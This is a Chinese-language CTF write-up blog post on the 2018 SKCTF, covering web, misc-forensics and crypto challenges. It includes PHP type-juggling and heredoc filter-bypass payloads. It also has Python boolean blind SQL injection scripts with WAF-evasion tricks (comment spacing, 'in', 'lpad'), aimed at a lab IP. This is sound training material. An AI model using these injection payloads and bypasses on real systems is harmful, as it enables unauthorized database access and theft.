V0W's Blog

2018-3rd-SKCTF

字数统计: 2,870阅读时长: 13 min
2018/05/12 Share

Web

wait a minute

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(isset($_POST['password']))
{
if(strcmp($_POST['password'],$password)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(isset($_GET['time'])){
$t=$_GET['time'];
if(!is_numeric($t)){
echo 'Sorry.<br>';
}else if($t < 66 * 55 * 44 * 33 * 22 * 11 ){
echo 'you need a bigger time.<br>';
}else if($t > 11 * 23 * 33 * 44 * 55 * 66){
echo 'you need a smaller time.<br>';
}else{
sleep((int)$t);
var_dump($flag);
}
echo '<hr>';
}
}else{
echo "Password is wrong............<br>";
}
}else{
echo "<h1>Please input password..........</h1><br>";
}

逻辑很简单,password可以通过构造数组绕过。
time比较麻烦,首先time=11*22*33*44*55*66,但是由于sleep(time),这么大的time,要等待很久,大概算一下是几百天吧,这里由于用到强制转换(int)$t
而16进制0x开头在强制转换中出现问题,导致转换成0.

所以payload为:?time=0x4c06f350.

八大关

这道,一关又一关,但其实还是都比较简单的。
1.XFF
2.UA
3.php弱类型md5
4.strcmp
5.md5爆破,附上脚本:

1
2
3
4
5
6
7
8
import hashlib

def getmd5(code):
for i in range(999999):
temp = hashlib.md5(str(i)).hexdigest()
if temp[0:6] == code:
return i
print getmd5('084a12')

6.php弱类型,数组绕过(md5(arr)==null)
7.urldecode,在传递url时,会进行一次,所以要两次urlencode(’SKCTF’)
8.js,看源码就知道了密码了。

php string

首先、我有一个误区:看到图片名称heredoc我以为会是一个冒充web的隐写题,图片里有个doc这样的==、
提示说文件泄露,得到index.php.swp
Linux 还原:

vim -r index.php.swp

mark
逻辑很简单,只要id=’6666’,即可。(这道题,当时我真的眼瞎==、只看到了6666,自动忽略了两个')
但是问题在于:直接传进去的id是有过滤的,过滤了',所以没有办法直接让id=’6666’,这是才是佩奇的提示==、heredoc!

heredoc是一种perl风格的定界符。用于定界和传递字符串。用 heredoc 句法结构:<<<。在该运算符之后要提供一个标识符,然后换行。接下来是字符串 string 本身,最后要用前面定义的标识符作为结束标志。

php手册中heredoc的相关介绍

于是我们知道了:可以利用heredoc来绕过'的过滤。

1
2
3
<<<xx
6666
xx;

但是注意的是每一行都需要一个换行符,url里用%0a,
payload:?id=<<<xx%0A6666%0Axx;%0A

easy web

有源码泄露,得到源码/www.zip,
里面有三个php文件:
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
echo rand();
if(isset($_POST['up_addr']))
{
include("rand_addr.php");
if($_POST['up_addr']===$up_addr&&isset($_POST['str']))
{
$str = $_POST['str'];
$_SESSION['name'] = $str;
}

}

kkk.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

ini_set('session.serialize_handler', 'php');
session_start();
class SKCTF{
var $content;
function __destruct() {
include("rand_addr.php");
var_dump($this->content);
file_put_contents("/var/www/html/upload/$up_addr.php",$this->content);
}
}

$a = new SKCTF();
echo $a;
?>

rand_addr.php

1
2
<?php
$up_addr = str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz');

这道题是考的是session的反序列化。有点难,先放一放==、

login me

听说只有admin才能拿到flag。

本题考查sql bool盲注。一开始把问题想简单了,以为只是admin的万能密码之类的==、
先做一下无过滤的版本:
payload:

username=1' or substr('a',1,1)='a'#&password=123

下面就开始盲注,这里盲注成功的条件是返回弹窗Wrong password,失败返回Wrong username

源码给出提示,直接访问web4.sql得到表的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Host: localhost  (Version: 5.5.53-log)
# Date: 2018-05-04 17:13:56
# Generator: MySQL-Front 5.3 (Build 4.234)

/*!40101 SET NAMES utf8 */;

#
# Structure for table "admin"
#

DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`id` int(11) DEFAULT NULL,
`username` char(20) DEFAULT NULL,
`password` char(40) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

#
# Structure for table "f1ag"
#

DROP TABLE IF EXISTS `f1ag`;
CREATE TABLE `f1ag` (
`f14g` char(40) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

得到表的结构为:

  • admin
    • id
    • username
    • password
  • f1ag
    • f14g

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*-coding:utf-8-*-

import requests
import time

url = 'http://192.168.211.131:49157/'

def check(payload):
postdata={'username':payload,'password':'admin'}
r = requests.post(url,postdata).content
#print r;
return 'Wrong password' in r

flag = ''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):
for c in s:
payload ='1\'or substr((select f14g from f1ag),%s,1) = \'%s\'#'%(str(i),c)
#print payload
if check(payload):
flag += c
break
print flag
if '}' in flag:
break

mark

接下来是加上waf,过滤以后的==、

首先测试过滤。过滤采用burp进行fuzz。结果如下:
mark

过滤union,if,=,and,<,>,or,substr,mid,like,空格

可以用/**/绕过空格,in绕过=,lpad函数代替substr用于截取字符串。

payload:username=1'/**/||lpad(('a'),1,1)/**/in/**/('a')#&password=123

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*-coding:utf-8-*-

import requests
import time

url = 'http://192.168.211.131:49154/'

def check(payload):
postdata={'username':payload,'password':'123'}
r = requests.post(url,postdata).content
#print r;
return 'Wrong password' in r

flag = ''
s = r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_{}'
for i in xrange(1,64):
for c in s:
#payload ='1\'or substr((select f14g from f1ag),%s,1) = \'%s\'#'%(str(i),c)
payload = '1\'/**/||/**/lpad((select/**/f14g/**/from/**/f1ag),%s,1)/**/in/**/(\'%s\')#'%(str(i),flag+c)
#print payload
if check(payload):
flag += c
break
print flag
if '}' in flag:
break

mark

绕啊绕

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$rule = '/([[:punct:]]+|[[:alpha:]]+|[[:digit:]]+)/';
if (8 > preg_match_all($rule, $data, $arr))
{
echo preg_match_all($rule, $data, $arr);
break;
}
$num = 0;
$nn = array('punct', 'alpha', 'digit');
foreach ($nn as $ns)
{
if (preg_match("/[[:$ns:]]+/", $data))
{
$num += 1;
}
}
if ($num < 3)
break;
if (187667123 == $data)
{
$da = $_GET['num'];
if (!is_numeric($da))
{
if(27500 < $da)
{
echo $flag;
}
}
else
{
echo "Forbidden!!";
}

}
else
echo 'Wrong password';
exit;

php正则表达式的内置通用字符簇,[[:punct:]]代表任意标点符号,[[:alpha:]]代表任意字母,[[:digit:]]代表任意数字。

if (8 > preg_match_all($rule, $data, $arr))
arr在data中要匹配rule条件8次以上,注意是匹配八次以上,不是八个以上的数字字母符号

1
2
3
4
5
6
7
8
9
$nn = array('punct', 'alpha', 'digit');
foreach ($nn as $ns)
{
if (preg_match("/[[:$ns:]]+/", $data)){
$num += 1;
}
}
if ($num < 3)
break;

这里foreach循环,就是要求的是data里面既要有数字,又要有字母,标点。

1
2
if (187667123 == $data)
{

这里要求data==187667123

1
2
3
4
5
6
7
$da = $_GET['num'];
if (!is_numeric($da))
{
if(27500 < $da)
{
echo $flag;
}

这里要求GET一个num,不是数字,而且要比25700大,可以通过弱类型绕过,比如传入27599abc
得到payload:

1
2
?num=27599abc
POST: data=187667123.0e+0-0+2-2+3-3

Msic

找到也打不开

从数据包中提取文件,wireshark导出http对象,得到压缩包。查看16进制后得知为伪加密,7z打开,或者修改一位即解。

Just Listen

有个password的图片,换通道可以看到密码:
mark
但是要注意一下:密码是forensics_is_fun不带key。

有了密码和mp3文件,想到应该是mp3加密。利用工具MP3_Stego来解,有了密码可以得到隐藏文件,一个txt。

1
http://www.petitcolas.net/steganography/mp3stego/

真香

一看这个gif,很大。怀疑是有zip,可以通过winhex提取出zip。
但是zip不是直接能打开的,有密码,真加密(不是伪加密==、)当时没想到原来文件尾的blind_water_mark就是密码。
解压后,得到两张图,一张叫or,一张叫xor。

看提示,极有可能是盲水印攻击。

利用github上的盲水印攻击工具。
mark

mark

取证

首先下载下来是个虚拟镜像,于是连接,得到一个压缩包,解压是一个gif(需要用WinRAR解压,因为很多压缩软件不支持NTFS),但是图片大小和所占空间相差很大,有猫腻!

提示是NTFS。

NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。交换数据流的诞生源于Windows系统与苹果的HFS系统的交互需求,NTFS使用交换数据流来存储文件相关元数据等等。

ADS的作用在于,它允许一个文件携带着附加的信息。例如,IE浏览器下载文件时,会向文件添加一个数据流,标记该文件来源于外部,即带有风险,那么,在用户打开文件时,就会弹出文件警告提示。再如,在网址收藏中,也会附加一个favicon数据流以存放网站图标。

可以利用工具lads和ntfsstreamseditor来导出数据。
mark

又是一个gif,保存所有帧得到flag。

Game

解法一、玩游戏,但是我手残==、

解法二、反编译,下载GameMarker 8.0 Decompiler,将exe进行反编译。得到工程文件gmk,下载Gamemaker可以读取所有游戏文件资源,找到flag。==、我怎么不知道

解法三、最人性化的解法就是修改save文件。因为玩过游戏会产生save文件,只要明白save文件的格式,修改文件即可,偏移量+12.
0112->011E
mark

mark

Crypto

仿射加密

仿射加密,python爆就行。

1
2
3
4
5
6
7
8
9
10
11
letter = 'abcdefghijklmnopqrstuvwxyz'  
word = 'fwpcpywpcphnxaoxlywpcphnxlhco'
flag = ''

a = 11
b = 23
for i in word:
for j in range(0,len(letter)):
if i == letter[(a*j+b)%26]:
flag+=letter[j]
print flag

看到的就是全部了

常规古典题,Unicode,栅栏,凯撒。

Play Fair

1
2
3
4
5
6
7
8
加密游戏规则:

# j -> i
# 若 p1=p2,则插入一个字母(X)于重复字母之间;
# 若明文字母数为奇数时,则在明文的末端添加(Z)作为填充;

key:just do it
plain:playfairseemseasythanothers

play fair decode
矩阵按行生成
j->i 含义为j替代i 因此在生成的矩阵中有j无i

play fair是一种使用一个关键词方格来加密字符对的加密法。

根据加密算法来加密就行。
playfair百科

SKCTF{rhcwgodmdbordbbutcgbmasklzdx}

ez_rsa

考察的是低指数幂的rsa攻击。

在RSA中e也称为加密指数。由于e是可以随意选取的,选取小一点的e可以缩短加密时间,但是选取不当的话,就会造成安全问题。

e=3时的小明文攻击

介绍:
当e=3时,如果明文过小,导致明文的三次方仍然小于n,那么通过直接对密文三次开方,即可得到明文。

由于数据很大,需要用到libnum,介绍一下安装

1
2
3
git clone https://github.com/hellman/libnum
cd libnum
python setup.py install

脚本攻击,由于知道e=3,很简单

1
2
3
4
5
6
7
8
9
10
import libnum

n = 127736277372703302601056543119422673263688414162130452012271136376613506149677023810059879551077756689012265602068781726322860263396788055341495459092641851239465778777954763378423777055786390661741851297248439205933852145044703803764388021585419049988085302710871206091591995497858682344782684500134395300049
c = 20007698782339834246219328724588364459038474898597431254441716723329047692482286669616878491497181438826429104573158490197780427343059002311390665150204203593904674308567972583524863664412573864470357485299378319457792659062998310715680020892095430469672971488726545126438904961637

e=3

m = libnum.nroot(c,e)
flag = libnum.n2s(m)
print flag

流密码

hint:

初始状态为10001,放入lfsr中移位吧
lfsr产生序列和Y等长,生成它
尝试把二进制转换为字符,flag长度为23
LFSR原理:
mark

mark
如图,我们可以知道Y = LFSR^FLAG,想知道flag,只要知道LFSR之前的状态即可。
LFSR过程
输出的第i个和第(i+3)个异或得到第(i+5)个数据。
得到LFSR过程前的结果后,将其与Y异或就可以得到flag。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-*- coding:utf-8 -*-
Y ="1101110011010001000000011110111101011001010011111100000101000110011000010011000001100101101110010010001110011001011110111110100010001110111110110110011111010111110001100001101000101010"
len = len(Y)
print len # 求得Y的长度184

X = '10001'

for i in range(184):
X += str(int(X[i]) ^ int(X[i + 3]))
print "X = "+ X
flag = ''
for i in range(184):
flag += str(int(X[i]) ^ int(Y[i]))
print "flag = "+flag
list = ''
j = 0
while j < len:
list += chr(int(flag[j:j+8],2))
j += 8
print list

CATALOG
  1. 1. Web
    1. 1.1. wait a minute
    2. 1.2. 八大关
    3. 1.3. php string
    4. 1.4. easy web
    5. 1.5. login me
    6. 1.6. 绕啊绕
  2. 2. Msic
    1. 2.1. 找到也打不开
    2. 2.2. Just Listen
    3. 2.3. 真香
    4. 2.4. 取证
    5. 2.5. Game
  3. 3. Crypto
    1. 3.1. 仿射加密
    2. 3.2. 看到的就是全部了
    3. 3.3. Play Fair
    4. 3.4. ez_rsa
    5. 3.5. 流密码